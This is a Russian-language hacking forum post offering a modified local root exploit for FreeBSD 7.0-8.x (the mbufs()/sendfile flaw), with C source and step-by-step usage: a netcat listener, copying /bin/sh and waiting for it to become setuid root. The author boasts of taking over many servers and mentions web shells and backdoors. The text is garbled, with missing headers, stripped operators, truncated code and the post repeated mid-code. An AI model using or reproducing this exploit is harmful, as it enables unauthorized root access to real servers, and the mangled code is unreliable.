kfor
26.09.2010, 16:46
Выкладываю свою модификацию exploit FreeBSD mbufs(). Vuln version 7.0-8.* до 12.07.10
Сразу говорю уязвимость таже самая и эксплуатируется также. Подвержены уязвимости 7-8 до 12 Июля 2010 г.
Моя модификация позволяет всего лишь не мучатся в переделывании шелкода. Шелкоды немного изменены но делают тоже самое. Так же бьёт i386 и amd64.
Те кто использовал данный эксплойт (а я им уже не мало фрях свалил ) сталкивались с проблемой запрета запуска из /tmp или к примеру права меняются на все файлы, которые там находятся. А следовательно нужно всё время подтачивать шелкод.... Прежде чем использовать мою версию уже как боевую, запустите скомпелированый файл без параметров и выпадет небольшой хелп. Это позволит вам избежать запоротого /bin/sh и недоумения а почему не работает.!!
p.s. советую запускать ещё третий терминал и не как sh а кпримеру bash или csh и тд , это позволит обезопасить от выпадания двух терминалов в аут.
p.s. p.s У меня так и случилось на одном из серваков. 2 бека закрылись , а через веб шел яувидел как мой sh стал с +s. вот только его уже было никак не запустить.
Собсно код снизу.
[CODE]
Code:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
int sc32( char *, unsigned char * );
int sc64( char *, unsigned char * );
unsigned char str32[ 196 ];
main( int argc, char *argv[ ] )
{
int s, f, k2, sizeof_str, flags, n, chunk, arch;
struct sockaddr_in addr;
char buf[ 10000 ], str[ 256 ], *p;
struct stat sb;
fd_set wset;
int64_t size;
off_t sbytes, sent = 0;
if( argc != 3 )
{
printf( "\n\n Modificated exploit FreeBSD mbufs().\n\n Special for Antichat community, by \033[5;30;41mkfor\033[0m & \033[32;1;4mlord Kelvin\033[0m.\n\n\n####### This modification can use any directory provided. ########\n####### Just in case you don't have an rwx /tmp ########\n\nExample & howto:\n(1) You must cp /bin/sh /home/test/sh and cp /bin/sh /home/test/si\n (sh++ -> si) don't change \"si\"!!\n(2) 1st terminal bash# nc -l 7030\n(3) 2nd terminal bash# ./exploit i386|amd64 /home/test/sh\n(4) Waiting 5-10 min. Do ls -al /home/test/sh, if you see -r-sr-sr-x,\n you're lucky:)\n(5) bash# /home/test/sh; id; -- You must see euid(0)\nUsage: ./exploit (i386|amd64) Directory1\n" );
return;
}
if( strcmp( argv[ 1 ], "i386" ) == 0 )
{
sizeof_str = sc32( argv[ 2 ], str );
arch = 1;
}
else if( strcmp( argv[ 1 ], "amd64" ) == 0 )
{
sizeof_str = sc64( argv[ 2 ], str );
arch = 2;
}
else
{
printf( "define architecture i386 or amd64\n" );
return;
}
s = socket( AF_INET, SOCK_STREAM, 0 );
bzero( &addr, sizeof( addr ) );
addr.sin_family = AF_INET;
addr.sin_port = htons( 7030 );
addr.sin_addr.s_addr = inet_addr( "127.0.0.1" );
n = connect( s, ( struct sockaddr * )&addr, sizeof( addr ) );
if( n 0 )
{
FD_ZERO( &wset );
FD_SET( s, &wset );
n = select( f + 1, NULL, &wset, NULL, NULL );
if( n 0 )
{
sbytes = 0;
if( arch == 1 )
n = sendfile( f, s, 2048 * 2, chunk, NULL, &sbytes, 0 );
else if( arch == 2 )
n = sendfile( f, s, 1204 * 6, chunk, NULL, &sbytes, 0 );
// n = sendfile( f, s, 3128 * arch + 968, chunk, NULL, &sbytes, 0 );
if( n
Сразу говорю уязвимость таже самая и эксплуатируется также. Подвержены уязвимости 7-8 до 12 Июля 2010 г.
Моя модификация позволяет всего лишь не мучатся в переделывании шелкода. Шелкоды немного изменены но делают тоже самое. Так же бьёт i386 и amd64.
Те кто использовал данный эксплойт (а я им уже не мало фрях свалил ) сталкивались с проблемой запрета запуска из /tmp или к примеру права меняются на все файлы, которые там находятся. А следовательно нужно всё время подтачивать шелкод.... Прежде чем использовать мою версию уже как боевую, запустите скомпелированый файл без параметров и выпадет небольшой хелп. Это позволит вам избежать запоротого /bin/sh и недоумения а почему не работает.!!
p.s. советую запускать ещё третий терминал и не как sh а кпримеру bash или csh и тд , это позволит обезопасить от выпадания двух терминалов в аут.
p.s. p.s У меня так и случилось на одном из серваков. 2 бека закрылись , а через веб шел яувидел как мой sh стал с +s. вот только его уже было никак не запустить.
Собсно код снизу.
[CODE]
Code:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
int sc32( char *, unsigned char * );
int sc64( char *, unsigned char * );
unsigned char str32[ 196 ];
main( int argc, char *argv[ ] )
{
int s, f, k2, sizeof_str, flags, n, chunk, arch;
struct sockaddr_in addr;
char buf[ 10000 ], str[ 256 ], *p;
struct stat sb;
fd_set wset;
int64_t size;
off_t sbytes, sent = 0;
if( argc != 3 )
{
printf( "\n\n Modificated exploit FreeBSD mbufs().\n\n Special for Antichat community, by \033[5;30;41mkfor\033[0m & \033[32;1;4mlord Kelvin\033[0m.\n\n\n####### This modification can use any directory provided. ########\n####### Just in case you don't have an rwx /tmp ########\n\nExample & howto:\n(1) You must cp /bin/sh /home/test/sh and cp /bin/sh /home/test/si\n (sh++ -> si) don't change \"si\"!!\n(2) 1st terminal bash# nc -l 7030\n(3) 2nd terminal bash# ./exploit i386|amd64 /home/test/sh\n(4) Waiting 5-10 min. Do ls -al /home/test/sh, if you see -r-sr-sr-x,\n you're lucky:)\n(5) bash# /home/test/sh; id; -- You must see euid(0)\nUsage: ./exploit (i386|amd64) Directory1\n" );
return;
}
if( strcmp( argv[ 1 ], "i386" ) == 0 )
{
sizeof_str = sc32( argv[ 2 ], str );
arch = 1;
}
else if( strcmp( argv[ 1 ], "amd64" ) == 0 )
{
sizeof_str = sc64( argv[ 2 ], str );
arch = 2;
}
else
{
printf( "define architecture i386 or amd64\n" );
return;
}
s = socket( AF_INET, SOCK_STREAM, 0 );
bzero( &addr, sizeof( addr ) );
addr.sin_family = AF_INET;
addr.sin_port = htons( 7030 );
addr.sin_addr.s_addr = inet_addr( "127.0.0.1" );
n = connect( s, ( struct sockaddr * )&addr, sizeof( addr ) );
if( n 0 )
{
FD_ZERO( &wset );
FD_SET( s, &wset );
n = select( f + 1, NULL, &wset, NULL, NULL );
if( n 0 )
{
sbytes = 0;
if( arch == 1 )
n = sendfile( f, s, 2048 * 2, chunk, NULL, &sbytes, 0 );
else if( arch == 2 )
n = sendfile( f, s, 1204 * 6, chunk, NULL, &sbytes, 0 );
// n = sendfile( f, s, 3128 * arch + 968, chunk, NULL, &sbytes, 0 );
if( n